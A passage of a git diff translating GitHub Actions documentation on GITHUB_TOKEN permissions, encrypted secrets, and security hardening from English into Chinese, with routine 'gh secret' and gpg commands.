-The permissions for the `GITHUB_TOKEN` are initially set to the default setting for the enterprise, organization, or repository. If the default is set to the restricted permissions at any of these levels then this will apply to the relevant repositories. For example, if you choose the restricted default at the organization level then all repositories in that organization will use the restricted permissions as the default. The permissions are then adjusted based on any configuration within the workflow file, first at the workflow level and then at the job level. Finally, if the workflow was triggered by a pull request from a forked repository, and the **Send write tokens to workflows from pull requests** setting is not selected, the permissions are adjusted to change any write permissions to read only.
+`GITHUB_TOKEN` 的权限最初设置为企业、组织或仓库的默认设置。 如果默认设置为这些级别中任何级别的限制权限，这将适用于相关的仓库。 例如，如果您在组织级别选择受限制的默认值，则该组织中的所有仓库将使用限制的权限作为默认值。 然后根据工作流程文件中的任何配置（首先在工作流程级别，然后在作业级别）对权限进行调整。 最后，如果工作流程是由复刻的仓库中的拉取请求触发，并且未选择**从拉取请求发送写入令牌到工作流程**设置，则权限调整为将任何写入权限更改为只读。
 
-### Granting additional permissions
+### 授予额外权限
 {% endif %}
 
-If you need a token that requires permissions that aren't available in the `GITHUB_TOKEN`, you can create a personal access token and set it as a secret in your repository:
+如果您需要的令牌需要 `GITHUB_TOKEN` 中未提供的权限，您可以创建个人访问令牌并将其设置为仓库中的密码：
 
-1. Use or create a token with the appropriate permissions for that repository. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
-1. Add the token as a secret in your workflow's repository, and refer to it using the {%raw%}`${{ secrets.SECRET_NAME }}`{% endraw %} syntax. For more information, see "[Creating and using encrypted secrets](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)."
+1. 使用或创建具有该仓库适当权限的令牌。 更多信息请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。
+1. 添加令牌作为工作流程仓库中的密码，然后使用 {%raw%}`${{ secrets.SECRET_NAME }}`{% endraw %} 语法进行引用。 更多信息请参阅“[创建和使用加密密码](/github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets)”。
diff --git a/translations/zh-CN/content/actions/security-guides/encrypted-secrets.md b/translations/zh-CN/content/actions/security-guides/encrypted-secrets.md
index ebe23f7005..c471f99b72 100644
--- a/translations/zh-CN/content/actions/security-guides/encrypted-secrets.md
+++ b/translations/zh-CN/content/actions/security-guides/encrypted-secrets.md
@@ -1,6 +1,6 @@
 ---
-title: Encrypted secrets
-intro: 'Encrypted secrets allow you to store sensitive information in your organization{% ifversion fpt or ghes > 3.0 or ghec %}, repository, or repository environments{% else %} or repository{% endif %}.'
+title: 加密机密
+intro: '加密密码可让您将敏感信息存储在您的组织{% ifversion fpt or ghes > 3.0 or ghec %}、仓库或者仓库环境{% else %} 或仓库{% endif %} 中。'
 redirect_from:
   - /github/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
   - /actions/automating-your-workflow-with-github-actions/creating-and-using-encrypted-secrets
@@ -17,81 +17,79 @@ versions:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About encrypted secrets
+## 关于加密密码
 
-Secrets are encrypted environment variables that you create in an organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or repository environment{% else %} or repository{% endif %}. The secrets that you create are available to use in {% data variables.product.prodname_actions %} workflows. {% data variables.product.prodname_dotcom %} uses a [libsodium sealed box](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes) to help ensure that secrets are encrypted before they reach {% data variables.product.prodname_dotcom %} and remain encrypted until you use them in a workflow.
+机密是您在组织{% ifversion fpt or ghes > 3.0 or ghae or ghec %}、仓库或者仓库环境{% else %} 或仓库{% endif %} 中创建的加密环境变量。 您创建的机密可用于 {% data variables.product.prodname_actions %} 工作流程。 在机密到达 {% data variables.product.prodname_dotcom %} 之前，{% data variables.product.prodname_dotcom %} 使用 [libsodium 密封盒](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes)对机密加密，并且在您于工作流程中使用它们之前一直保持加密状态。
 
 {% data reusables.github-actions.secrets-org-level-overview %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-For secrets stored at the environment level, you can enable required reviewers to control access to the secrets. A workflow job cannot access environment secrets until approval is granted by required approvers.
+对于存储在环境级别的机密，您可以启用所需的审查者来控制对机密的访问。 在必要的审查者授予批准之前，工作流程作业无法访问环境机密。
 {% endif %}
 
 {% ifversion fpt or ghec or ghae-issue-4856 %}
 
 {% note %}
 
-**Note**: {% data reusables.actions.about-oidc-short-overview %}
+**注**：{% data reusables.actions.about-oidc-short-overview %}
 
 {% endnote %}
 
 {% endif %}
 
-### Naming your secrets
+### 命名您的密码
 
 {% data reusables.codespaces.secrets-naming %}
 
-  For example, {% ifversion fpt or ghes > 3.0 or ghae or ghec %}a secret created at the environment level must have a unique name in that environment, {% endif %}a secret created at the repository level must have a unique name in that repository, and a secret created at the organization level must have a unique name at that level. 
+  例如，{% ifversion fpt or ghes > 3.0 or ghae or ghec %}在环境级别创建的机密必须在环境中具有唯一的名称，{% endif %}在仓库级别创建的机密必须在该仓库中具有唯一的名称，而在组织级别创建的机密必须在该级别具有独特的名称。
 
-  {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %} Similarly, if an organization, repository, and environment all have a secret with the same name, the environment-level secret takes precedence.{% endif %}
+  {% data reusables.codespaces.secret-precedence %}{% ifversion fpt or ghes > 3.0 or ghae or ghec %}同样，如果组织、仓库和环境都具有同名的密钥，则环境级密钥优先。{% endif %}
 
-To help ensure that {% data variables.product.prodname_dotcom %} redacts your secret in logs, avoid using structured data as the values of secrets. For example, avoid creating secrets that contain JSON or encoded Git blobs.
+为帮助确保 {% data variables.product.prodname_dotcom %} 在日志中编写密码，请勿将结构化数据用作密码的值。 例如，避免创建包含 JSON 或编码 Git blob 的密码。
 
-### Accessing your secrets
+### 访问您的密码
 
-To make a secret available to an action, you must set the secret as an input or environment variable in the workflow file. Review the action's README file to learn about which inputs and environment variables the action expects. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)."
+为使密码用于操作，必须将密码设置为工作流程文件中的输入或环境变量。 查看操作的自述文件以了解操作预期的输入和环境变量。 更多信息请参阅“[{% data variables.product.prodname_actions %} 的工作流程语法](/articles/workflow-syntax-for-github-actions/#jobsjob_idstepsenv)”。
 
-You can use and read encrypted secrets in a workflow file if you have access to edit the file. For more information, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/access-permissions-on-github)."
+如果您拥有编辑文件的权限，便可在工作流程文件中使用和读取加密密码。 更多信息请参阅“[{% data variables.product.prodname_dotcom %} 上的访问权限](/github/getting-started-with-github/access-permissions-on-github)”。
 
 {% warning %}
 
-**Warning:** {% data variables.product.prodname_dotcom %} automatically redacts secrets printed to the log, but you should avoid printing secrets to the log intentionally.
+**警告：**{% data variables.product.prodname_dotcom %} 自动将密码编写到日志，但您应避免有意将密码打印到日志。
 
 {% endwarning %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-Organization and repository secrets are read when a workflow run is queued, and environment secrets are read when a job referencing the environment starts.
+当工作流程运行排队时读取组织和仓库机密，在引用环境的作业开始时读取环境机密。
 {% endif %}
 
-You can also manage secrets using the REST API. For more information, see "[Secrets](/rest/reference/actions#secrets)."
+您还可以使用 REST API 管理密码。 更多信息请参阅“[密码](/rest/reference/actions#secrets)”。
 
-### Limiting credential permissions
+### 限制凭据权限
 
-When generating credentials, we recommend that you grant the minimum permissions possible. For example, instead of using personal credentials, use [deploy keys](/developers/overview/managing-deploy-keys#deploy-keys) or a service account. Consider granting read-only permissions if that's all that is needed, and limit access as much as possible. When generating a personal access token (PAT), select the fewest scopes necessary.
+生成凭据时，建议尽可能授予最低的权限。 例如，不使用个人凭据，而使用[部署密钥](/developers/overview/managing-deploy-keys#deploy-keys)或服务帐户。 请考虑授予只读权限（如果这是所需的全部权限）并尽可能限制访问。 生成个人访问令牌 (PAT) 时，选择所需的最小范围。
 
 {% note %}
 
-**Note:** You can use the REST API to manage secrets. For more information, see "[{% data variables.product.prodname_actions %} secrets API](/rest/reference/actions#secrets)."
+**注意：** 您可以使用 REST API 来管理机密。 更多信息请参阅“[{% data variables.product.prodname_actions %} 密码 API](/rest/reference/actions#secrets)”。
 
 {% endnote %}
 
-## Creating encrypted secrets for a repository
+## 为仓库创建加密密码
 
 {% data reusables.github-actions.permissions-statement-secrets-repository %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New repository secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the value for your secret.
-1. Click **Add secret**.
+1. 单击 **New repository secret（新仓库机密）**。
+1. 在 **Name（名称）**输入框中键入密码的名称。
+1. 输入密码的值。
+1. 单击 **Add secret（添加密码）**。
 
-If your repository {% ifversion fpt or ghes > 3.0 or ghae or ghec %}has environment secrets or {% endif %}can access secrets from the parent organization, then those secrets are also listed on this page.
+如果您的仓库 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}拥有环境机密或 {% endif %}可以访问父组织中的机密，则这些机密也会列入本页。
 
 {% endwebui %}
 
@@ -99,52 +97,50 @@ If your repository {% ifversion fpt or ghes > 3.0 or ghae or ghec %}has environm
 
 {% data reusables.cli.cli-learn-more %}
 
-To add a repository secret, use the `gh secret set` subcommand. Replace `secret-name` with the name of your secret.
+要添加仓库机密，请使用 `gh secret set` 子命令。 将 `secret-name` 替换为机密的名称。
 
 ```shell
 gh secret set <em>secret-name</em>
 ```
 
-The CLI will prompt you to enter a secret value. Alternatively, you can read the value of the secret from a file.
+CLI 将提示您输入一个机密值。 或者，您可以从文件中读取机密的值。
 
 ```shell
 gh secret set <em>secret-name</em> < secret.txt
 ```
 
-To list all secrets for the repository, use the `gh secret list` subcommand.
+要列出仓库的所有机密，请使用 `gh secret list` 子命令。
 
 {% endcli %}
 
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
 
-## Creating encrypted secrets for an environment
+## 为环境创建加密密码
 
 {% data reusables.github-actions.permissions-statement-secrets-environment %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.sidebar-settings %}
 {% data reusables.github-actions.sidebar-environment %}
-1. Click on the environment that you want to add a secret to.
-2. Under **Environment secrets**, click **Add secret**.
-3. Type a name for your secret in the **Name** input box.
-4. Enter the value for your secret.
-5. Click **Add secret**.
+1. 单击要向其添加机密的环境。
+2. 在 **Environment secrets（环境机密）**下，单击 **Add secret（添加机密）**。
+3. 在 **Name（名称）**输入框中键入密码的名称。
+4. 输入密码的值。
+5. 单击 **Add secret（添加密码）**。
 
 {% endwebui %}
 
 {% cli %}
 
-To add a secret for an environment, use the `gh secret set` subcommand with the `--env` or `-e` flag followed by the environment name.
+要为环境添加机密，请使用 `gh secret set` 子命令与 `- env` 或 `- e` 标志，后接环境名称。
 
 ```shell
 gh secret set --env <em>environment-name</em> <em>secret-name</em>
 ```
 
-To list all secrets for an environment, use the `gh secret list` subcommand with the `--env` or `-e` flag followed by the environment name.
+要列出环境的所有机密，请使用 `gh secret list` 子命令与 `- env` 或 `- e` 标志，后接环境名称。
 
 ```shell
 gh secret list --env <em>environment-name</em>
@@ -154,24 +150,22 @@ gh secret list --env <em>environment-name</em>
 
 {% endif %}
 
-## Creating encrypted secrets for an organization
+## 为组织创建加密密码
 
-When creating a secret in an organization, you can use a policy to limit which repositories can access that secret. For example, you can grant access to all repositories, or limit access to only private repositories or a specified list of repositories.
+在组织中创建密码时，可以使用策略来限制可以访问该密码的仓库。 例如，您可以将访问权限授予所有仓库，也可以限制仅私有仓库或指定的仓库列表拥有访问权限。
 
 {% data reusables.github-actions.permissions-statement-secrets-organization %}
 
-{% include tool-switcher %}
-
 {% webui %}
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. Click **New organization secret**.
-1. Type a name for your secret in the **Name** input box.
-1. Enter the **Value** for your secret.
-1. From the **Repository access** dropdown list, choose an access policy.
-1. Click **Add secret**.
+1. 单击 **New organization secret（新组织机密）**。
+1. 在 **Name（名称）**输入框中键入密码的名称。
+1. 输入密码的 **Value（值）**。
+1. 从 **Repository access（仓库访问权限）**下拉列表，选择访问策略。
+1. 单击 **Add secret（添加密码）**。
 
 {% endwebui %}
 
@@ -179,7 +173,7 @@ When creating a secret in an organization, you can use a policy to limit which r
 
 {% note %}
 
-**Note:** By default, {% data variables.product.prodname_cli %} authenticates with the `repo` and `read:org` scopes. To manage organization secrets, you must additionally authorize the `admin:org` scope.
+**注意：** 默认情况下， {% data variables.product.prodname_cli %} 使用 `repo` 和 `read:org` 范围进行身份验证。 要管理组织机密，您还必须授权 `admin:org` 范围。
 
 ```
 gh auth login --scopes "admin:org"
@@ -187,25 +181,25 @@ gh auth login --scopes "admin:org"
 
 {% endnote %}
 
-To add a secret for an organization, use the `gh secret set` subcommand with the `--org` or `-o` flag followed by the organization name.
+要为组织添加机密，请使用 `gh secret set` 子命令与 `--org` 或 `-o` 标志，后接组织名称。
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em>
 ```
 
-By default, the secret is only available to private repositories. To specify that the secret should be available to all repositories within the organization, use the `--visibility` or `-v` flag.
+默认情况下，机密仅对私有仓库可用。 要指定该机密应该提供给组织内的所有仓库，请使用 `--visible` 或 `-v` 标志。
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em> --visibility all
 ```
 
-To specify that the secret should be available to selected repositories within the organization, use the `--repos` or `-r` flag.
+要指定该秘密应提供给组织内选定的仓库，请使用 `--repos` 或 `-r` 标志。
 
 ```shell
 gh secret set --org <em>organization-name</em> <em>secret-name</em> --repos <em>repo-name-1</em>,<em>repo-name-2</em>"
 ```
 
-To list all secrets for an organization, use the `gh secret list` subcommand with the `--org` or `-o` flag followed by the organization name.
+要列出组织的所有机密，请使用 `gh secret list` 子命令与 `--org` 或 `-o` 标志，后接组织名称。
 
 ```shell
 gh secret list --org <em>organization-name</em>
@@ -213,26 +207,25 @@ gh secret list --org <em>organization-name</em>
 
 {% endcli %}
 
-## Reviewing access to organization-level secrets
+## 审查对组织级别密码的访问权限
 
-You can check which access policies are being applied to a secret in your organization.
+您可以检查哪些访问策略正被应用于组织中的密码。
 
 {% data reusables.organizations.navigate-to-org %}
 {% data reusables.organizations.org_settings %}
 {% data reusables.github-actions.sidebar-secret %}
-1. The list of secrets includes any configured permissions and policies. For example:
-![Secrets list](/assets/images/help/settings/actions-org-secrets-list.png)
-1. For more details on the configured permissions for each secret, click **Update**.
+1. 密码列表包括任何已配置的权限和策略。 例如： ![密码列表](/assets/images/help/settings/actions-org-secrets-list.png)
+1. 有关已为每个密码配置的权限的更多信息，请单击 **Update（更新）**。
 
-## Using encrypted secrets in a workflow
+## 在工作流程中使用加密密码
 
 {% note %}
 
-**Note:** {% data reusables.actions.forked-secrets %}
+**注：**{% data reusables.actions.forked-secrets %}
 
 {% endnote %}
 
-To provide an action with a secret as an input or environment variable, you can use the `secrets` context to access secrets you've created in your repository. For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
+要提供以密码作为输入或环境变量的操作，可以使用 `secrets` 上下文访问您在仓库中创建的密码。 For more information, see "[Contexts](/actions/learn-github-actions/contexts)" and "[Workflow syntax for {% data variables.product.prodname_actions %}](/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions)."
 
 {% raw %}
 ```yaml
@@ -245,11 +238,11 @@ steps:
 ```
 {% endraw %}
 
-Avoid passing secrets between processes from the command line, whenever possible. Command-line processes may be visible to other users (using the `ps` command) or captured by [security audit events](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing). To help protect secrets, consider using environment variables, `STDIN`, or other mechanisms supported by the target process.
+尽可能避免使用命令行在进程之间传递密码。 命令行进程可能对其他用户可见（使用 `ps` 命令）或通过[安全审计事件](https://docs.microsoft.com/windows-server/identity/ad-ds/manage/component-updates/command-line-process-auditing)获取。 为帮助保护密码，请考虑使用环境变量 `STDIN` 或目标进程支持的其他机制。
 
-If you must pass secrets within a command line, then enclose them within the proper quoting rules. Secrets often contain special characters that may unintentionally affect your shell. To escape these special characters, use quoting with your environment variables. For example:
+如果必须在命令行中传递密码，则将它们包含在适当的引用规则中。 密码通常包含可能意外影响 shell 的特殊字符。 要转义这些特殊字符，请引用环境变量。 例如：
 
-### Example using Bash
+### 使用 Bash 的示例
 
 {% raw %}
 ```yaml
@@ -262,7 +255,7 @@ steps:
 ```
 {% endraw %}
 
-### Example using PowerShell
+### 使用 PowerShell 的示例
 
 {% raw %}
 ```yaml
@@ -275,7 +268,7 @@ steps:
 ```
 {% endraw %}
 
-### Example using Cmd.exe
+### 使用 Cmd.exe 的示例
 
 {% raw %}
 ```yaml
@@ -288,37 +281,37 @@ steps:
 ```
 {% endraw %}
 
-## Limits for secrets
+## 密码的限制
 
-You can store up to 1,000 organization secrets{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, 100 repository secrets, and 100 environment secrets{% else %} and 100 repository secrets{% endif %}.
+您可以存储最多 1,000 个组织密钥{% ifversion fpt or ghes > 3.0 or ghae or ghec %}、100 个仓库密钥和 100 个环境密钥{% else %} 以及 100 个仓库密钥{% endif %}。
 
-A workflow created in a repository can access the following number of secrets:
+在仓库中创建的工作流程可以访问以下数量的密钥：
 
-* All 100 repository secrets.
-* If the repository is assigned access to more than 100 organization secrets, the workflow can only use the first 100 organization secrets (sorted alphabetically by secret name).
-{% ifversion fpt or ghes > 3.0 or ghae or ghec %}* All 100 environment secrets.{% endif %}
+* 所有100个仓库密钥。
+* 如果分配仓库访问超过 100 个组织密钥，则工作流程只能使用前 100 个组织密钥（按密钥名称字母顺序排序）。
+{% ifversion fpt or ghes > 3.0 or ghae or ghec %}* 所有 100 个环境密钥。{% endif %}
 
-Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB, you can store encrypted secrets in your repository and save the decryption passphrase as a secret on {% data variables.product.prodname_dotcom %}. For example, you can use `gpg` to encrypt your credentials locally before checking the file in to your repository on {% data variables.product.prodname_dotcom %}. For more information, see the "[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)."
+密码大小限于 64 KB。 要使用大于 64 KB 的密码，可以将加密的密码存储在仓库中，并将解密短语在 {% data variables.product.prodname_dotcom %} 上存储为密码。 例如，在将文件检入您在 {% data variables.product.prodname_dotcom %} 上的仓库之前，可以使用 `gpg` 在本地对您的凭据加密。 更多信息请参阅“[gpg manpage](https://www.gnupg.org/gph/de/manual/r1023.html)”。
 
 {% warning %}
 
-**Warning**: Be careful that your secrets do not get printed when your action runs. When using this workaround, {% data variables.product.prodname_dotcom %} does not redact secrets that are printed in logs.
+**警告**：请注意，您的密码在操作运行时不会印出。 使用此解决方法时，{% data variables.product.prodname_dotcom %} 不会编写日志中印出的密码。
 
 {% endwarning %}
 
-1. Run the following command from your terminal to encrypt the `my_secret.json` file using `gpg` and the AES256 cipher algorithm.
+1. 从终端运行以下命令，以使用 `gpg` 和 AES256 密码算法对 `my_secret.json` 文件加密。
 
  ``` shell
  $ gpg --symmetric --cipher-algo AES256 my_secret.json
  ```
 
-1. You will be prompted to enter a passphrase. Remember the passphrase, because you'll need to create a new secret on {% data variables.product.prodname_dotcom %} that uses the passphrase as the value.
+1. 将会提示您输入密码短语。 请记住该密码短语，因为需要在使用该密码短语作为值的 {% data variables.product.prodname_dotcom %} 上创建新密码。
 
-1. Create a new secret that contains the passphrase. For example, create a new secret with the name `LARGE_SECRET_PASSPHRASE` and set the value of the secret to the passphrase you selected in the step above.
+1. 创建包含密码短语的新密码。 例如，使用名称 `LARGE_SECRET_PASSPHRASE` 创建新密码，并将密码的值设为上一步所选的密码短语。
 
-1. Copy your encrypted file into your repository and commit it. In this example, the encrypted file is `my_secret.json.gpg`.
+1. 将加密的文件复制到仓库并提交。 在本例中，加密的文件是 `my_secret.json.gpg`。
 
-1. Create a shell script to decrypt the password. Save this file as `decrypt_secret.sh`.
+1. 创建 shell 脚本对密码解密。 将此文件另存为 `decrypt_secret.sh`。
 
   ``` shell
   #!/bin/sh
@@ -331,7 +324,7 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
   --output $HOME/secrets/my_secret.json my_secret.json.gpg
   ```
 
-1. Ensure your shell script is executable before checking it in to your repository.
+1. 确保 shell 脚本在检入仓库之前可执行。
 
   ``` shell
   $ chmod +x decrypt_secret.sh
@@ -340,7 +333,7 @@ Secrets are limited to 64 KB in size. To use secrets that are larger than 64 KB,
   $ git push
   ```
 
-1. From your workflow, use a `step` to call the shell script and decrypt the secret. To have a copy of your repository in the environment that your workflow runs in, you'll need to use the [`actions/checkout`](https://github.com/actions/checkout) action. Reference your shell script using the `run` command relative to the root of your repository.
+1. 从工作流程使用 `step` 调用 shell 脚本并对密码解密。 要在工作流程运行的环境中创建仓库的副本，需要使用 [`actions/checkout`](https://github.com/actions/checkout) 操作。 使用与仓库根目录相关的 `run` 命令引用 shell 脚本。
 
 {% raw %}
   ```yaml
diff --git a/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md b/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md
index 8b80be9c37..c3e725e945 100644
--- a/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md
+++ b/translations/zh-CN/content/actions/security-guides/security-hardening-for-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Security hardening for GitHub Actions
-shortTitle: Security hardening
-intro: 'Good security practices for using {% data variables.product.prodname_actions %} features.'
+title: GitHub Actions 的安全强化
+shortTitle: 安全强化
+intro: '使用 {% data variables.product.prodname_actions %} 功能的良好安全实践。'
 redirect_from:
   - /actions/getting-started-with-github-actions/security-hardening-for-github-actions
   - /actions/learn-github-actions/security-hardening-for-github-actions
@@ -19,58 +19,58 @@ miniTocMaxHeadingLevel: 3
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## 概览
 
-This guide explains how to configure security hardening for certain {% data variables.product.prodname_actions %} features. If the {% data variables.product.prodname_actions %} concepts are unfamiliar, see "[Core concepts for GitHub Actions](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)."
+本指南介绍如何为某些 {% data variables.product.prodname_actions %} 功能配置安全强化。 如果不熟悉 {% data variables.product.prodname_actions %} 概念，请参阅“[GitHub 操作的核心概念](/actions/getting-started-with-github-actions/core-concepts-for-github-actions)”。
 
-## Using secrets
+## 使用密码
 
-Sensitive values should never be stored as plaintext in workflow files, but rather as secrets. [Secrets](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets) can be configured at the organization{% ifversion fpt or ghes > 3.0 or ghae or ghec %}, repository, or environment{% else %} or repository{% endif %} level, and allow you to store sensitive information in {% data variables.product.product_name %}.
+敏感值绝不能以明文存储在工作流程文件中，而应存储为密码。 [密码](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets)可在组织{% ifversion fpt or ghes > 3.0 or ghae or ghec %}、仓库或环境{% else %}或仓库{% endif %}级配置，可用于在 {% data variables.product.product_name %} 中存储敏感信息。
 
-Secrets use [Libsodium sealed boxes](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes), so that they are encrypted before reaching {% data variables.product.product_name %}. This occurs when the secret is submitted [using the UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) or through the [REST API](/rest/reference/actions#secrets). This client-side encryption helps minimize the risks related to accidental logging (for example, exception logs and request logs, among others) within {% data variables.product.product_name %}'s infrastructure. Once the secret is uploaded, {% data variables.product.product_name %} is then able to decrypt it so that it can be injected into the workflow runtime.
+密码使用 [Libsodium 密封箱](https://libsodium.gitbook.io/doc/public-key_cryptography/sealed_boxes)，以使它们在到达 {% data variables.product.product_name %} 前被加密处理。 [使用 UI](/actions/configuring-and-managing-workflows/creating-and-storing-encrypted-secrets#creating-encrypted-secrets-for-a-repository) 或通过 [REST API](/rest/reference/actions#secrets) 提交密码时就会发生这种情况。 此客户端加密有助于最大程度地减少与 {% data variables.product.product_name %}基础架构中的意外日志记录相关的风险（例如，异常日志和请求日志等）。 密钥在上传后，{% data variables.product.product_name %} 可对其进行解密，以便它能够被注入工作流程运行时。
 
-To help prevent accidental disclosure, {% data variables.product.product_name %} uses a mechanism that attempts to redact any secrets that appear in run logs. This redaction looks for exact matches of any configured secrets, as well as common encodings of the values, such as Base64. However, because there are multiple ways a secret value can be transformed, this redaction is not guaranteed. As a result, there are certain proactive steps and good practices you should follow to help ensure secrets are redacted, and to limit other risks associated with secrets:
+为了帮助防止意外泄露，{% data variables.product.product_name %} 使用一种机制尝试对运行日志中显示的任何密码进行编校。 此编校会寻找任何已配置密码的精确匹配项，以及值的常见编码，如 Base64。 但是，由于密码值可以通过多种方式转换，因此不能保证此编校。 因此，你应该采取某些积极主动的步骤和良好的做法，以帮助确保密码得到编校， 并限制与密码相关的其他风险：
 
-- **Never use structured data as a secret**
-    - Structured data can cause secret redaction within logs to fail, because redaction largely relies on finding an exact match for the specific secret value. For example, do not use a blob of JSON, XML, or YAML (or similar) to encapsulate a secret value, as this significantly reduces the probability the secrets will be properly redacted. Instead, create individual secrets for each sensitive value.
-- **Register all secrets used within workflows**
-    - If a secret is used to generate another sensitive value within a workflow, that generated value should be formally [registered as a secret](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret), so that it will be redacted if it ever appears in the logs. For example, if using a private key to generate a signed JWT to access a web API, be sure to register that JWT as a secret or else it won’t be redacted if it ever enters the log output.
-    - Registering secrets applies to any sort of transformation/encoding as well. If your secret is transformed in some way (such as Base64 or URL-encoded), be sure to register the new value as a secret too.
-- **Audit how secrets are handled**
-    - Audit how secrets are used, to help ensure they’re being handled as expected. You can do this by reviewing the source code of the repository executing the workflow, and checking any actions used in the workflow. For example, check that they’re not sent to unintended hosts, or explicitly being printed to log output.
-    - View the run logs for your workflow after testing valid/invalid inputs, and check that secrets are properly redacted, or not shown. It's not always obvious how a command or tool you’re invoking will send errors to `STDOUT` and `STDERR`, and secrets might subsequently end up in error logs. As a result, it is good practice to manually review the workflow logs after testing valid and invalid inputs.
-- **Use credentials that are minimally scoped**
-    - Make sure the credentials being used within workflows have the least privileges required, and be mindful that any user with write access to your repository has read access to all secrets configured in your repository. {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
-    - Actions can use the `GITHUB_TOKEN` by accessing it from the `github.token` context. For more information, see "[Contexts](/actions/learn-github-actions/contexts#github-context)." You should therefore make sure that the `GITHUB_TOKEN` is granted the minimum required permissions. It's good security practice to set the default permission for the `GITHUB_TOKEN` to read access only for repository contents. The permissions can then be increased, as required, for individual jobs within the workflow file. For more information, see "[Authentication in a workflow](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)." {% endif %}
-- **Audit and rotate registered secrets**
-    - Periodically review the registered secrets to confirm they are still required. Remove those that are no longer needed.
-    - Rotate secrets periodically to reduce the window of time during which a compromised secret is valid.
+- **切勿将结构化数据用作密码**
+    - 结构化数据可能导致日志中的密码编校失败，因为编校很大程度上取决于查找特定密码值的完全匹配项。 例如，不要使用 JSON、XML 或 YAML（或类似）的 Blob 来封装密码值，否则会显著降低密码被正确编校的可能性。 而应为每个敏感值创建单独的密码。
+- **注册工作流程中使用的所有密码**
+    - 如果密码用于生成工作流程中的另一个敏感值，则该生成的值应正式[注册为密码](https://github.com/actions/toolkit/tree/main/packages/core#setting-a-secret)，使其出现在日志中时将会得到编校。 例如，如果使用私钥生成签名的 JWT 来访问 Web API，请确保将该 JWT 注册为密码，否则，如果它进入日志输出，则不会得到编校。
+    - 注册密码也适用于任何类型的转换/编码。 如果以某种方式（如 Base64 或 URL 编码）转换您的密码，请确保将新值也注册为密码。
+- **审核如何处理密码**
+    - 审核密码的使用方式，以帮助确保按预期方式处理密码。 您可以通过检查执行工作流程的仓库的源代码并检查工作流程中使用的任何操作来进行审核。 例如，确认它们未发送到非预期主机，或明确打印到日志输出。
+    - 在测试有效/无效输入后查看工作流程的运行日志，并确认密码已正确编校或未显示。 您调用的命令或工具如何向 `STDOUT` 和 `STDERR` 发送错误并不总是很明显，密码随后可能会在错误日志中生成错误。 因此，在测试有效和无效的输入后，最好是手动查看工作流程日志。
+- **使用最小范围的凭据**
+    - 确保工作流程中使用的凭据具有所需的最小权限，并请注意，任何对仓库具有写入权限的用户都可访问仓库中配置的所有密码。 {% ifversion fpt or ghes > 3.1 or ghae or ghec %}
+    - Actions 可以使用 `GITHUB_TOKEN` 从 `github.token` 上下文访问它。 更多信息请参阅“[上下文](/actions/learn-github-actions/contexts#github-context)”。 因此，您应该确保 `GITHUB_TOKEN` 获得所需的最低权限。 将 `GITHUB_TOKENN` 的默认权限设置为只读取仓库内容是良好的安全做法。 然后可以根据需要增加工作流程文件中个别任务的权限。 更多信息请参阅“[工作流程中的身份验证](/actions/reference/authentication-in-a-workflow#permissions-for-the-github_token)。 {% endif %}
+- **审核并轮换注册密码**
+    - 定期查查已注册的密码，以确认它们仍是必需的。 删除不再需要的密码。
+    - 定期轮换密码，以减小泄露的密码有效的时间窗。
 {% ifversion fpt or ghes > 3.0 or ghae or ghec %}
-- **Consider requiring review for access to secrets**
